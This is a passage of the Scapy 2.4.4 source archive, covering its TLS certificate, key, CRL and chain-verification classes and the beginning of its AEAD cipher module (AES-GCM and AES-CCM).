[] while s != b"": start_idx = s.find(b"-----BEGIN") if start_idx == -1: break end_idx = s.find(b"-----END") end_idx = s.find(b"\n", end_idx) + 1 pem_strings.append(s[start_idx:end_idx]) s = s[end_idx:] return pem_strings class _PKIObj(object): def __init__(self, frmt, der, pem): # Note that changing attributes of the _PKIObj does not update these # values (e.g. modifying k.modulus does not change k.der). # XXX use __setattr__ for this self.frmt = frmt self.der = der self.pem = pem def __str__(self): return self.der class _PKIObjMaker(type): def __call__(cls, obj_path, obj_max_size, pem_marker=None): # This enables transparent DER and PEM-encoded data imports. # Note that when importing a PEM file with multiple objects (like ECDSA # private keys output by openssl), it will concatenate every object in # order to create a 'der' attribute. When converting a 'multi' DER file # into a PEM file, though, the PEM attribute will not be valid, # because we do not try to identify the class of each object. error_msg = "Unable to import data" if obj_path is None: raise Exception(error_msg) obj_path = bytes_encode(obj_path) if (b'\x00' not in obj_path) and os.path.isfile(obj_path): _size = os.path.getsize(obj_path) if _size > obj_max_size: raise Exception(error_msg) try: with open(obj_path, "rb") as f: _raw = f.read() except Exception: raise Exception(error_msg) else: _raw = obj_path try: if b"-----BEGIN" in _raw: frmt = "PEM" pem = _raw der_list = split_pem(_raw) der = b''.join(map(pem2der, der_list)) else: frmt = "DER" der = _raw pem = "" if pem_marker is not None: pem = der2pem(_raw, pem_marker) # type identification may be needed for pem_marker # in such case, the pem attribute has to be updated except Exception: raise Exception(error_msg) p = _PKIObj(frmt, der, pem) return p ##################################################################### # PKI objects wrappers ##################################################################### ############### # Public Keys # ############### class _PubKeyFactory(_PKIObjMaker): """ Metaclass for PubKey creation. It casts the appropriate class on the fly, then fills in the appropriate attributes with import_from_asn1pkt() submethod. """ def __call__(cls, key_path=None): if key_path is None: obj = type.__call__(cls) if cls is PubKey: cls = PubKeyRSA obj.__class__ = cls obj.frmt = "original" obj.fill_and_store() return obj # This deals with the rare RSA 'kx export' call. if isinstance(key_path, tuple): obj = type.__call__(cls) obj.__class__ = PubKeyRSA obj.frmt = "tuple" obj.import_from_tuple(key_path) return obj # Now for the usual calls, key_path may be the path to either: # _an X509_SubjectPublicKeyInfo, as processed by openssl; # _an RSAPublicKey; # _an ECDSAPublicKey. obj = _PKIObjMaker.__call__(cls, key_path, _MAX_KEY_SIZE) try: spki = X509_SubjectPublicKeyInfo(obj.der) pubkey = spki.subjectPublicKey if isinstance(pubkey, RSAPublicKey): obj.__class__ = PubKeyRSA obj.import_from_asn1pkt(pubkey) elif isinstance(pubkey, ECDSAPublicKey): obj.__class__ = PubKeyECDSA try: obj.import_from_der(obj.der) except ImportError: pass else: raise marker = b"PUBLIC KEY" except Exception: try: pubkey = RSAPublicKey(obj.der) obj.__class__ = PubKeyRSA obj.import_from_asn1pkt(pubkey) marker = b"RSA PUBLIC KEY" except Exception: # We cannot import an ECDSA public key without curve knowledge raise Exception("Unable to import public key") if obj.frmt == "DER": obj.pem = der2pem(obj.der, marker) return obj class PubKey(six.with_metaclass(_PubKeyFactory, object)): """ Parent class for both PubKeyRSA and PubKeyECDSA. Provides a common verifyCert() method. """ def verifyCert(self, cert): """ Verifies either a Cert or an X509_Cert. """ tbsCert = cert.tbsCertificate sigAlg = tbsCert.signature h = hash_by_oid[sigAlg.algorithm.val] sigVal = raw(cert.signatureValue) return self.verify(raw(tbsCert), sigVal, h=h, t='pkcs') class PubKeyRSA(PubKey, _EncryptAndVerifyRSA): """ Wrapper for RSA keys based on _EncryptAndVerifyRSA from crypto/pkcs1.py Use the 'key' attribute to access original object. """ @crypto_validator def fill_and_store(self, modulus=None, modulusLen=None, pubExp=None): pubExp = pubExp or 65537 if not modulus: real_modulusLen = modulusLen or 2048 private_key = rsa.generate_private_key(public_exponent=pubExp, key_size=real_modulusLen, backend=default_backend()) self.pubkey = private_key.public_key() else: real_modulusLen = len(binrepr(modulus)) if modulusLen and real_modulusLen != modulusLen: warning("modulus and modulusLen do not match!") pubNum = rsa.RSAPublicNumbers(n=modulus, e=pubExp) self.pubkey = pubNum.public_key(default_backend()) # Lines below are only useful for the legacy part of pkcs1.py pubNum = self.pubkey.public_numbers() self._modulusLen = real_modulusLen self._modulus = pubNum.n self._pubExp = pubNum.e @crypto_validator def import_from_tuple(self, tup): # this is rarely used e, m, mLen = tup if isinstance(m, bytes): m = pkcs_os2ip(m) if isinstance(e, bytes): e = pkcs_os2ip(e) self.fill_and_store(modulus=m, pubExp=e) self.pem = self.pubkey.public_bytes( encoding=serialization.Encoding.PEM, format=serialization.PublicFormat.SubjectPublicKeyInfo) self.der = pem2der(self.pem) def import_from_asn1pkt(self, pubkey): modulus = pubkey.modulus.val pubExp = pubkey.publicExponent.val self.fill_and_store(modulus=modulus, pubExp=pubExp) def encrypt(self, msg, t="pkcs", h="sha256", mgf=None, L=None): # no ECDSA encryption support, hence no ECDSA specific keywords here return _EncryptAndVerifyRSA.encrypt(self, msg, t=t, h=h, mgf=mgf, L=L) def verify(self, msg, sig, t="pkcs", h="sha256", mgf=None, L=None): return _EncryptAndVerifyRSA.verify( self, msg, sig, t=t, h=h, mgf=mgf, L=L) class PubKeyECDSA(PubKey): """ Wrapper for ECDSA keys based on the cryptography library. Use the 'key' attribute to access original object. """ @crypto_validator def fill_and_store(self, curve=None): curve = curve or ec.SECP256R1 private_key = ec.generate_private_key(curve(), default_backend()) self.pubkey = private_key.public_key() @crypto_validator def import_from_der(self, pubkey): # No lib support for explicit curves nor compressed points. self.pubkey = serialization.load_der_public_key(pubkey, backend=default_backend()) # noqa: E501 def encrypt(self, msg, h="sha256", **kwargs): # cryptography lib does not support ECDSA encryption raise Exception("No ECDSA encryption support") @crypto_validator def verify(self, msg, sig, h="sha256", **kwargs): # 'sig' should be a DER-encoded signature, as per RFC 3279 try: self.pubkey.verify(sig, msg, ec.ECDSA(_get_hash(h))) return True except InvalidSignature: return False ################ # Private Keys # ################ class _PrivKeyFactory(_PKIObjMaker): """ Metaclass for PrivKey creation. It casts the appropriate class on the fly, then fills in the appropriate attributes with import_from_asn1pkt() submethod. """ def __call__(cls, key_path=None): """ key_path may be the path to either: _an RSAPrivateKey_OpenSSL (as generated by openssl); _an ECDSAPrivateKey_OpenSSL (as generated by openssl); _an RSAPrivateKey; _an ECDSAPrivateKey. """ if key_path is None: obj = type.__call__(cls) if cls is PrivKey: cls = PrivKeyECDSA obj.__class__ = cls obj.frmt = "original" obj.fill_and_store() return obj obj = _PKIObjMaker.__call__(cls, key_path, _MAX_KEY_SIZE) multiPEM = False try: privkey = RSAPrivateKey_OpenSSL(obj.der) privkey = privkey.privateKey obj.__class__ = PrivKeyRSA marker = b"PRIVATE KEY" except Exception: try: privkey = ECDSAPrivateKey_OpenSSL(obj.der) privkey = privkey.privateKey obj.__class__ = PrivKeyECDSA marker = b"EC PRIVATE KEY" multiPEM = True except Exception: try: privkey = RSAPrivateKey(obj.der) obj.__class__ = PrivKeyRSA marker = b"RSA PRIVATE KEY" except Exception: try: privkey = ECDSAPrivateKey(obj.der) obj.__class__ = PrivKeyECDSA marker = b"EC PRIVATE KEY" except Exception: raise Exception("Unable to import private key") try: obj.import_from_asn1pkt(privkey) except ImportError: pass if obj.frmt == "DER": if multiPEM: # this does not restore the EC PARAMETERS header obj.pem = der2pem(raw(privkey), marker) else: obj.pem = der2pem(obj.der, marker) return obj class _Raw_ASN1_BIT_STRING(ASN1_BIT_STRING): """A ASN1_BIT_STRING that ignores BER encoding""" def __bytes__(self): return self.val_readable __str__ = __bytes__ class PrivKey(six.with_metaclass(_PrivKeyFactory, object)): """ Parent class for both PrivKeyRSA and PrivKeyECDSA. Provides common signTBSCert() and resignCert() methods. """ def signTBSCert(self, tbsCert, h="sha256"): """ Note that this will always copy the signature field from the tbsCertificate into the signatureAlgorithm field of the result, regardless of the coherence between its contents (which might indicate ecdsa-with-SHA512) and the result (e.g. RSA signing MD2). There is a small inheritance trick for the computation of sigVal below: in order to use a sign() method which would apply to both PrivKeyRSA and PrivKeyECDSA, the sign() methods of the subclasses accept any argument, be it from the RSA or ECDSA world, and then they keep the ones they're interested in. Here, t will be passed eventually to pkcs1._DecryptAndSignRSA.sign(). """ sigAlg = tbsCert.signature h = h or hash_by_oid[sigAlg.algorithm.val] sigVal = self.sign(raw(tbsCert), h=h, t='pkcs') c = X509_Cert() c.tbsCertificate = tbsCert c.signatureAlgorithm = sigAlg c.signatureValue = _Raw_ASN1_BIT_STRING(sigVal, readable=True) return c def resignCert(self, cert): """ Rewrite the signature of either a Cert or an X509_Cert. """ return self.signTBSCert(cert.tbsCertificate) def verifyCert(self, cert): """ Verifies either a Cert or an X509_Cert. """ tbsCert = cert.tbsCertificate sigAlg = tbsCert.signature h = hash_by_oid[sigAlg.algorithm.val] sigVal = raw(cert.signatureValue) return self.verify(raw(tbsCert), sigVal, h=h, t='pkcs') class PrivKeyRSA(PrivKey, _EncryptAndVerifyRSA, _DecryptAndSignRSA): """ Wrapper for RSA keys based on _DecryptAndSignRSA from crypto/pkcs1.py Use the 'key' attribute to access original object. """ @crypto_validator def fill_and_store(self, modulus=None, modulusLen=None, pubExp=None, prime1=None, prime2=None, coefficient=None, exponent1=None, exponent2=None, privExp=None): pubExp = pubExp or 65537 if None in [modulus, prime1, prime2, coefficient, privExp, exponent1, exponent2]: # note that the library requires every parameter # in order to call RSAPrivateNumbers(...) # if one of these is missing, we generate a whole new key real_modulusLen = modulusLen or 2048 self.key = rsa.generate_private_key(public_exponent=pubExp, key_size=real_modulusLen, backend=default_backend()) self.pubkey = self.key.public_key() else: real_modulusLen = len(binrepr(modulus)) if modulusLen and real_modulusLen != modulusLen: warning("modulus and modulusLen do not match!") pubNum = rsa.RSAPublicNumbers(n=modulus, e=pubExp) privNum = rsa.RSAPrivateNumbers(p=prime1, q=prime2, dmp1=exponent1, dmq1=exponent2, iqmp=coefficient, d=privExp, public_numbers=pubNum) self.key = privNum.private_key(default_backend()) self.pubkey = self.key.public_key() # Lines below are only useful for the legacy part of pkcs1.py pubNum = self.pubkey.public_numbers() self._modulusLen = real_modulusLen self._modulus = pubNum.n self._pubExp = pubNum.e def import_from_asn1pkt(self, privkey): modulus = privkey.modulus.val pubExp = privkey.publicExponent.val privExp = privkey.privateExponent.val prime1 = privkey.prime1.val prime2 = privkey.prime2.val exponent1 = privkey.exponent1.val exponent2 = privkey.exponent2.val coefficient = privkey.coefficient.val self.fill_and_store(modulus=modulus, pubExp=pubExp, privExp=privExp, prime1=prime1, prime2=prime2, exponent1=exponent1, exponent2=exponent2, coefficient=coefficient) def verify(self, msg, sig, t="pkcs", h="sha256", mgf=None, L=None): # Let's copy this from PubKeyRSA instead of adding another baseclass :) return _EncryptAndVerifyRSA.verify( self, msg, sig, t=t, h=h, mgf=mgf, L=L) def sign(self, data, t="pkcs", h="sha256", mgf=None, L=None): return _DecryptAndSignRSA.sign(self, data, t=t, h=h, mgf=mgf, L=L) class PrivKeyECDSA(PrivKey): """ Wrapper for ECDSA keys based on SigningKey from ecdsa library. Use the 'key' attribute to access original object. """ @crypto_validator def fill_and_store(self, curve=None): curve = curve or ec.SECP256R1 self.key = ec.generate_private_key(curve(), default_backend()) self.pubkey = self.key.public_key() @crypto_validator def import_from_asn1pkt(self, privkey): self.key = serialization.load_der_private_key(raw(privkey), None, backend=default_backend()) # noqa: E501 self.pubkey = self.key.public_key() @crypto_validator def verify(self, msg, sig, h="sha256", **kwargs): # 'sig' should be a DER-encoded signature, as per RFC 3279 try: self.pubkey.verify(sig, msg, ec.ECDSA(_get_hash(h))) return True except InvalidSignature: return False @crypto_validator def sign(self, data, h="sha256", **kwargs): return self.key.sign(data, ec.ECDSA(_get_hash(h))) ################ # Certificates # ################ class _CertMaker(_PKIObjMaker): """ Metaclass for Cert creation. It is not necessary as it was for the keys, but we reuse the model instead of creating redundant constructors. """ def __call__(cls, cert_path): obj = _PKIObjMaker.__call__(cls, cert_path, _MAX_CERT_SIZE, "CERTIFICATE") obj.__class__ = Cert try: cert = X509_Cert(obj.der) except Exception: raise Exception("Unable to import certificate") obj.import_from_asn1pkt(cert) return obj class Cert(six.with_metaclass(_CertMaker, object)): """ Wrapper for the X509_Cert from layers/x509.py. Use the 'x509Cert' attribute to access original object. """ def import_from_asn1pkt(self, cert): error_msg = "Unable to import certificate" self.x509Cert = cert tbsCert = cert.tbsCertificate self.tbsCertificate = tbsCert if tbsCert.version: self.version = tbsCert.version.val + 1 else: self.version = 1 self.serial = tbsCert.serialNumber.val self.sigAlg = tbsCert.signature.algorithm.oidname self.issuer = tbsCert.get_issuer() self.issuer_str = tbsCert.get_issuer_str() self.issuer_hash = hash(self.issuer_str) self.subject = tbsCert.get_subject() self.subject_str = tbsCert.get_subject_str() self.subject_hash = hash(self.subject_str) self.authorityKeyID = None self.notBefore_str = tbsCert.validity.not_before.pretty_time notBefore = tbsCert.validity.not_before.val if notBefore[-1] == "Z": notBefore = notBefore[:-1] try: _format = tbsCert.validity.not_before._format self.notBefore = time.strptime(notBefore, _format) except Exception: raise Exception(error_msg) self.notBefore_str_simple = time.strftime("%x", self.notBefore) self.notAfter_str = tbsCert.validity.not_after.pretty_time notAfter = tbsCert.validity.not_after.val if notAfter[-1] == "Z": notAfter = notAfter[:-1] try: _format = tbsCert.validity.not_after._format self.notAfter = time.strptime(notAfter, _format) except Exception: raise Exception(error_msg) self.notAfter_str_simple = time.strftime("%x", self.notAfter) self.pubKey = PubKey(raw(tbsCert.subjectPublicKeyInfo)) if tbsCert.extensions: for extn in tbsCert.extensions: if extn.extnID.oidname == "basicConstraints": self.cA = False if extn.extnValue.cA: self.cA = not (extn.extnValue.cA.val == 0) elif extn.extnID.oidname == "keyUsage": self.keyUsage = extn.extnValue.get_keyUsage() elif extn.extnID.oidname == "extKeyUsage": self.extKeyUsage = extn.extnValue.get_extendedKeyUsage() elif extn.extnID.oidname == "authorityKeyIdentifier": self.authorityKeyID = extn.extnValue.keyIdentifier.val self.signatureValue = raw(cert.signatureValue) self.signatureLen = len(self.signatureValue) def isIssuerCert(self, other): """ True if 'other' issued 'self', i.e.: - self.issuer == other.subject - self is signed by other """ if self.issuer_hash != other.subject_hash: return False return other.pubKey.verifyCert(self) def isSelfSigned(self): """ Return True if the certificate is self-signed: - issuer and subject are the same - the signature of the certificate is valid. """ if self.issuer_hash == self.subject_hash: return self.isIssuerCert(self) return False def encrypt(self, msg, t="pkcs", h="sha256", mgf=None, L=None): # no ECDSA *encryption* support, hence only RSA specific keywords here return self.pubKey.encrypt(msg, t=t, h=h, mgf=mgf, L=L) def verify(self, msg, sig, t="pkcs", h="sha256", mgf=None, L=None): return self.pubKey.verify(msg, sig, t=t, h=h, mgf=mgf, L=L) def remainingDays(self, now=None): """ Based on the value of notAfter field, returns the number of days the certificate will still be valid. The date used for the comparison is the current and local date, as returned by time.localtime(), except if 'now' argument is provided another one. 'now' argument can be given as either a time tuple or a string representing the date. Accepted format for the string version are: - '%b %d %H:%M:%S %Y %Z' e.g. 'Jan 30 07:38:59 2008 GMT' - '%m/%d/%y' e.g. '01/30/08' (less precise) If the certificate is no more valid at the date considered, then a negative value is returned representing the number of days since it has expired. The number of days is returned as a float to deal with the unlikely case of certificates that are still just valid. """ if now is None: now = time.localtime() elif isinstance(now, str): try: if '/' in now: now = time.strptime(now, '%m/%d/%y') else: now = time.strptime(now, '%b %d %H:%M:%S %Y %Z') except Exception: warning("Bad time string provided, will use localtime() instead.") # noqa: E501 now = time.localtime() now = time.mktime(now) nft = time.mktime(self.notAfter) diff = (nft - now) / (24. * 3600) return diff def isRevoked(self, crl_list): """ Given a list of trusted CRL (their signature has already been verified with trusted anchors), this function returns True if the certificate is marked as revoked by one of those CRL. Note that if the Certificate was on hold in a previous CRL and is now valid again in a new CRL and bot are in the list, it will be considered revoked: this is because _all_ CRLs are checked (not only the freshest) and revocation status is not handled. Also note that the check on the issuer is performed on the Authority Key Identifier if available in _both_ the CRL and the Cert. Otherwise, the issuers are simply compared. """ for c in crl_list: if (self.authorityKeyID is not None and c.authorityKeyID is not None and self.authorityKeyID == c.authorityKeyID): return self.serial in (x[0] for x in c.revoked_cert_serials) elif self.issuer == c.issuer: return self.serial in (x[0] for x in c.revoked_cert_serials) return False def export(self, filename, fmt="DER"): """ Export certificate in 'fmt' format (DER or PEM) to file 'filename' """ with open(filename, "wb") as f: if fmt == "DER": f.write(self.der) elif fmt == "PEM": f.write(self.pem) def show(self): print("Serial: %s" % self.serial) print("Issuer: " + self.issuer_str) print("Subject: " + self.subject_str) print("Validity: %s to %s" % (self.notBefore_str, self.notAfter_str)) def __repr__(self): return "[X.509 Cert. Subject:%s, Issuer:%s]" % (self.subject_str, self.issuer_str) # noqa: E501 ################################ # Certificate Revocation Lists # ################################ class _CRLMaker(_PKIObjMaker): """ Metaclass for CRL creation. It is not necessary as it was for the keys, but we reuse the model instead of creating redundant constructors. """ def __call__(cls, cert_path): obj = _PKIObjMaker.__call__(cls, cert_path, _MAX_CRL_SIZE, "X509 CRL") obj.__class__ = CRL try: crl = X509_CRL(obj.der) except Exception: raise Exception("Unable to import CRL") obj.import_from_asn1pkt(crl) return obj class CRL(six.with_metaclass(_CRLMaker, object)): """ Wrapper for the X509_CRL from layers/x509.py. Use the 'x509CRL' attribute to access original object. """ def import_from_asn1pkt(self, crl): error_msg = "Unable to import CRL" self.x509CRL = crl tbsCertList = crl.tbsCertList self.tbsCertList = raw(tbsCertList) if tbsCertList.version: self.version = tbsCertList.version.val + 1 else: self.version = 1 self.sigAlg = tbsCertList.signature.algorithm.oidname self.issuer = tbsCertList.get_issuer() self.issuer_str = tbsCertList.get_issuer_str() self.issuer_hash = hash(self.issuer_str) self.lastUpdate_str = tbsCertList.this_update.pretty_time lastUpdate = tbsCertList.this_update.val if lastUpdate[-1] == "Z": lastUpdate = lastUpdate[:-1] try: self.lastUpdate = time.strptime(lastUpdate, "%y%m%d%H%M%S") except Exception: raise Exception(error_msg) self.lastUpdate_str_simple = time.strftime("%x", self.lastUpdate) self.nextUpdate = None self.nextUpdate_str_simple = None if tbsCertList.next_update: self.nextUpdate_str = tbsCertList.next_update.pretty_time nextUpdate = tbsCertList.next_update.val if nextUpdate[-1] == "Z": nextUpdate = nextUpdate[:-1] try: self.nextUpdate = time.strptime(nextUpdate, "%y%m%d%H%M%S") except Exception: raise Exception(error_msg) self.nextUpdate_str_simple = time.strftime("%x", self.nextUpdate) if tbsCertList.crlExtensions: for extension in tbsCertList.crlExtensions: if extension.extnID.oidname == "cRLNumber": self.number = extension.extnValue.cRLNumber.val revoked = [] if tbsCertList.revokedCertificates: for cert in tbsCertList.revokedCertificates: serial = cert.serialNumber.val date = cert.revocationDate.val if date[-1] == "Z": date = date[:-1] try: time.strptime(date, "%y%m%d%H%M%S") except Exception: raise Exception(error_msg) revoked.append((serial, date)) self.revoked_cert_serials = revoked self.signatureValue = raw(crl.signatureValue) self.signatureLen = len(self.signatureValue) def isIssuerCert(self, other): # This is exactly the same thing as in Cert method. if self.issuer_hash != other.subject_hash: return False return other.pubKey.verifyCert(self) def verify(self, anchors): # Return True iff the CRL is signed by one of the provided anchors. return any(self.isIssuerCert(a) for a in anchors) def show(self): print("Version: %d" % self.version) print("sigAlg: " + self.sigAlg) print("Issuer: " + self.issuer_str) print("lastUpdate: %s" % self.lastUpdate_str) print("nextUpdate: %s" % self.nextUpdate_str) ###################### # Certificate chains # ###################### class Chain(list): """ Basically, an enhanced array of Cert. """ def __init__(self, certList, cert0=None): """ Construct a chain of certificates starting with a self-signed certificate (or any certificate submitted by the user) and following issuer/subject matching and signature validity. If there is exactly one chain to be constructed, it will be, but if there are multiple potential chains, there is no guarantee that the retained one will be the longest one. As Cert and CRL classes both share an isIssuerCert() method, the trailing element of a Chain may alternatively be a CRL. Note that we do not check AKID/{SKID/issuer/serial} matching, nor the presence of keyCertSign in keyUsage extension (if present). """ list.__init__(self, ()) if cert0: self.append(cert0) else: for root_candidate in certList: if root_candidate.isSelfSigned(): self.append(root_candidate) certList.remove(root_candidate) break if len(self) > 0: while certList: tmp_len = len(self) for c in certList: if c.isIssuerCert(self[-1]): self.append(c) certList.remove(c) break if len(self) == tmp_len: # no new certificate appended to self break def verifyChain(self, anchors, untrusted=None): """ Perform verification of certificate chains for that certificate. A list of anchors is required. The certificates in the optional untrusted list may be used as additional elements to the final chain. On par with chain instantiation, only one chain constructed with the untrusted candidates will be retained. Eventually, dates are checked. """ untrusted = untrusted or [] for a in anchors: chain = Chain(self + untrusted, a) if len(chain) == 1: # anchor only continue # check that the chain does not exclusively rely on untrusted if any(c in chain[1:] for c in self): for c in chain: if c.remainingDays() < 0: break if c is chain[-1]: # we got to the end of the chain return chain return None def verifyChainFromCAFile(self, cafile, untrusted_file=None): """ Does the same job as .verifyChain() but using the list of anchors from the cafile. As for .verifyChain(), a list of untrusted certificates can be passed (as a file, this time). """ try: with open(cafile, "rb") as f: ca_certs = f.read() except Exception: raise Exception("Could not read from cafile") anchors = [Cert(c) for c in split_pem(ca_certs)] untrusted = None if untrusted_file: try: with open(untrusted_file, "rb") as f: untrusted_certs = f.read() except Exception: raise Exception("Could not read from untrusted_file") untrusted = [Cert(c) for c in split_pem(untrusted_certs)] return self.verifyChain(anchors, untrusted) def verifyChainFromCAPath(self, capath, untrusted_file=None): """ Does the same job as .verifyChainFromCAFile() but using the list of anchors in capath directory. The directory should (only) contain certificates files in PEM format. As for .verifyChainFromCAFile(), a list of untrusted certificates can be passed as a file (concatenation of the certificates in PEM format). """ try: anchors = [] for cafile in os.listdir(capath): with open(os.path.join(capath, cafile), "rb") as fd: anchors.append(Cert(fd.read())) except Exception: raise Exception("capath provided is not a valid cert path") untrusted = None if untrusted_file: try: with open(untrusted_file, "rb") as f: untrusted_certs = f.read() except Exception: raise Exception("Could not read from untrusted_file") untrusted = [Cert(c) for c in split_pem(untrusted_certs)] return self.verifyChain(anchors, untrusted) def __repr__(self): llen = len(self) - 1 if llen < 0: return "" c = self[0] s = "__ " if not c.isSelfSigned(): s += "%s [Not Self Signed]\n" % c.subject_str else: s += "%s [Self Signed]\n" % c.subject_str idx = 1 while idx <= llen: c = self[idx] s += "%s_ %s" % (" " * idx * 2, c.subject_str) if idx != llen: s += "\n" idx += 1 return s scapy-2.4.4/scapy/layers/tls/crypto/000077500000000000000000000000001372370053500174055ustar00rootroot00000000000000scapy-2.4.4/scapy/layers/tls/crypto/__init__.py000066400000000000000000000003321372370053500215140ustar00rootroot00000000000000# This file is part of Scapy # Copyright (C) 2007, 2008, 2009 Arnaud Ebalard # 2015, 2016 Maxence Tury # This program is published under a GPLv2 license """ Cryptographic capabilities for TLS. """ scapy-2.4.4/scapy/layers/tls/crypto/all.py000066400000000000000000000004251372370053500205300ustar00rootroot00000000000000# This file is part of Scapy # Copyright (C) 2007, 2008, 2009 Arnaud Ebalard # 2015, 2016, 2017 Maxence Tury # This program is published under a GPLv2 license """ Aggregate some TLS crypto objects. """ from scapy.layers.tls.crypto.suites import * # noqa: F401 scapy-2.4.4/scapy/layers/tls/crypto/cipher_aead.py000066400000000000000000000371751372370053500222200ustar00rootroot00000000000000# This file is part of Scapy # Copyright (C) 2007, 2008, 2009 Arnaud Ebalard # 2015, 2016, 2017 Maxence Tury # This program is published under a GPLv2 license """ Authenticated Encryption with Associated Data ciphers. RFC 5288 introduces new ciphersuites for TLS 1.2 which are based on AES in Galois/Counter Mode (GCM). RFC 6655 in turn introduces AES_CCM ciphersuites. The related AEAD algorithms are defined in RFC 5116. Later on, RFC 7905 introduced cipher suites based on a ChaCha20-Poly1305 construction. """ from __future__ import absolute_import import struct from scapy.config import conf from scapy.layers.tls.crypto.pkcs1 import pkcs_i2osp, pkcs_os2ip from scapy.layers.tls.crypto.common import CipherError from scapy.utils import strxor import scapy.modules.six as six if conf.crypto_valid: from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes # noqa: E501 from cryptography.hazmat.backends import default_backend from cryptography.exceptions import InvalidTag if conf.crypto_valid_advanced: from cryptography.hazmat.primitives.ciphers.aead import (AESCCM, ChaCha20Poly1305) else: class AESCCM: pass _tls_aead_cipher_algs = {} class _AEADCipherMetaclass(type): """ Cipher classes are automatically registered through this metaclass. Furthermore, their name attribute is extracted from their class name. """ def __new__(cls, ciph_name, bases, dct): if not ciph_name.startswith("_AEADCipher"): dct["name"] = ciph_name[7:] # remove leading "Cipher_" the_class = super(_AEADCipherMetaclass, cls).__new__(cls, ciph_name, bases, dct) if not ciph_name.startswith("_AEADCipher"): _tls_aead_cipher_algs[ciph_name[7:]] = the_class return the_class class AEADTagError(Exception): """ Raised when MAC verification fails. """ pass class _AEADCipher(six.with_metaclass(_AEADCipherMetaclass, object)): """ The hasattr(self, "pc_cls") tests correspond to the legacy API of the crypto library. With cryptography v2.0, both CCM and GCM should follow the else case. Note that the "fixed_iv" in TLS RFCs is called "salt" in the AEAD RFC 5116. """ type = "aead" fixed_iv_len = 4 nonce_explicit_len = 8 def __init__(self, key=None, fixed_iv=None, nonce_explicit=None): """ 'key' and 'fixed_iv' are to be provided as strings, whereas the internal # noqa: E501 'nonce_explicit' is an integer (it is simpler for incrementation). !! The whole 'nonce' may be called IV in certain RFCs. """ self.ready = {"key": True, "fixed_iv": True, "nonce_explicit": True} if key is None: self.ready["key"] = False key = b"\0" * self.key_len if fixed_iv is None: self.ready["fixed_iv"] = False fixed_iv = b"\0" * self.fixed_iv_len if nonce_explicit is None: self.ready["nonce_explicit"] = False nonce_explicit = 0 if isinstance(nonce_explicit, str): nonce_explicit = pkcs_os2ip(nonce_explicit) # we use super() in order to avoid any deadlock with __setattr__ super(_AEADCipher, self).__setattr__("key", key) super(_AEADCipher, self).__setattr__("fixed_iv", fixed_iv) super(_AEADCipher, self).__setattr__("nonce_explicit", nonce_explicit) if hasattr(self, "pc_cls"): if isinstance(self.pc_cls, AESCCM): self._cipher = Cipher(self.pc_cls(key), self.pc_cls_mode(self._get_nonce()), backend=default_backend(), tag_length=self.tag_len) else: self._cipher = Cipher(self.pc_cls(key), self.pc_cls_mode(self._get_nonce()), backend=default_backend()) else: self._cipher = self.cipher_cls(key) def __setattr__(self, name, val): if name == "key": if self._cipher is not None: if hasattr(self, "pc_cls"): self._cipher.algorithm.key = val else: self._cipher._key = val self.ready["key"] = True elif name == "fixed_iv": self.ready["fixed_iv"] = True elif name == "nonce_explicit": if isinstance(val, str): val = pkcs_os2ip(val) self.ready["nonce_explicit"] = True super(_AEADCipher, self).__setattr__(name, val) def _get_nonce(self): return (self.fixed_iv + pkcs_i2osp(self.nonce_explicit, self.nonce_explicit_len)) def _update_nonce_explicit(self): """ Increment the explicit nonce while avoiding any overflow. """ ne = self.nonce_explicit + 1 self.nonce_explicit = ne % 2**(self.nonce_explicit_len * 8) def auth_encrypt(self, P, A, seq_num=None): """ Encrypt the data then prepend the explicit part of the nonce. The authentication tag is directly appended with the most recent crypto API. Additional data may be authenticated without encryption (as A). The 'seq_num' should never be used here, it is only a safeguard needed because one cipher (ChaCha20Poly1305) using TLS 1.2 logic in record.py actually is a _AEADCipher_TLS13 (even though others are not). """ if False in six.itervalues(self.ready): raise CipherError(P, A) if hasattr(self, "pc_cls"): self._cipher.mode._initialization_vector = self._get_nonce() self._cipher.mode._tag = None encryptor = self._cipher.encryptor() encryptor.authenticate_additional_data(A) res = encryptor.update(P) + encryptor.finalize() res += encryptor.tag else: res = self._cipher.encrypt(self._get_nonce(), P, A) nonce_explicit = pkcs_i2osp(self.nonce_explicit, self.nonce_explicit_len) self._update_nonce_explicit() return nonce_explicit + res def auth_decrypt(self, A, C, seq_num=None, add_length=True): """ Decrypt the data and authenticate the associated data (i.e. A). If the verification fails, an AEADTagError is raised. It is the user's responsibility to catch it if deemed useful. If we lack the key, we raise a CipherError which contains the encrypted input. Note that we add the TLSCiphertext length to A although we're supposed to add the TLSCompressed length. Fortunately, they are the same, but the specifications actually messed up here. :'( The 'add_length' switch should always be True for TLS, but we provide it anyway (mostly for test cases, hum). The 'seq_num' should never be used here, it is only a safeguard needed because one cipher (ChaCha20Poly1305) using TLS 1.2 logic in record.py actually is a _AEADCipher_TLS13 (even though others are not). """ nonce_explicit_str, C, mac = (C[:self.nonce_explicit_len], C[self.nonce_explicit_len:-self.tag_len], C[-self.tag_len:]) if False in six.itervalues(self.ready): raise CipherError(nonce_explicit_str, C, mac) self.nonce_explicit = pkcs_os2ip(nonce_explicit_str) if add_length: A += struct.pack("!H", len(C)) if hasattr(self, "pc_cls"): self._cipher.mode._initialization_vector = self._get_nonce() self._cipher.mode._tag = mac decryptor = self._cipher.decryptor() decryptor.authenticate_additional_data(A) P = decryptor.update(C) try: decryptor.finalize() except InvalidTag: raise AEADTagError(nonce_explicit_str, P, mac) else: try: P = self._cipher.decrypt(self._get_nonce(), C + mac, A) except InvalidTag: raise AEADTagError(nonce_explicit_str, "", mac) return nonce_explicit_str, P, mac def snapshot(self): c = self.__class__(self.key, self.fixed_iv, self.nonce_explicit) c.ready = self.ready.copy() return c if conf.crypto_valid: class Cipher_AES_128_GCM(_AEADCipher): # XXX use the new AESGCM if available # if conf.crypto_valid_advanced: # cipher_cls = AESGCM # else: pc_cls = algorithms.AES pc_cls_mode = modes.GCM key_len = 16 tag_len = 16 class Cipher_AES_256_GCM(Cipher_AES_128_GCM): key_len = 32 if conf.crypto_valid_advanced: class Cipher_AES_128_CCM(_AEADCipher): cipher_cls = AESCCM key_len = 16 tag_len = 16 class Cipher_AES_256_CCM(Cipher_AES_128_CCM): key_len = 32 class Cipher_AES_128_CCM_8(Cipher_AES_128_CCM): tag_len = 8 class Cipher_AES_256_CCM_8(Cipher_AES_128_CCM_8): key_len = 32 class _AEADCipher_TLS13(six.with_metaclass(_AEADCipherMetaclass, object)): """ The hasattr(self, "pc_cls") enable support for the legacy implementation of GCM in the 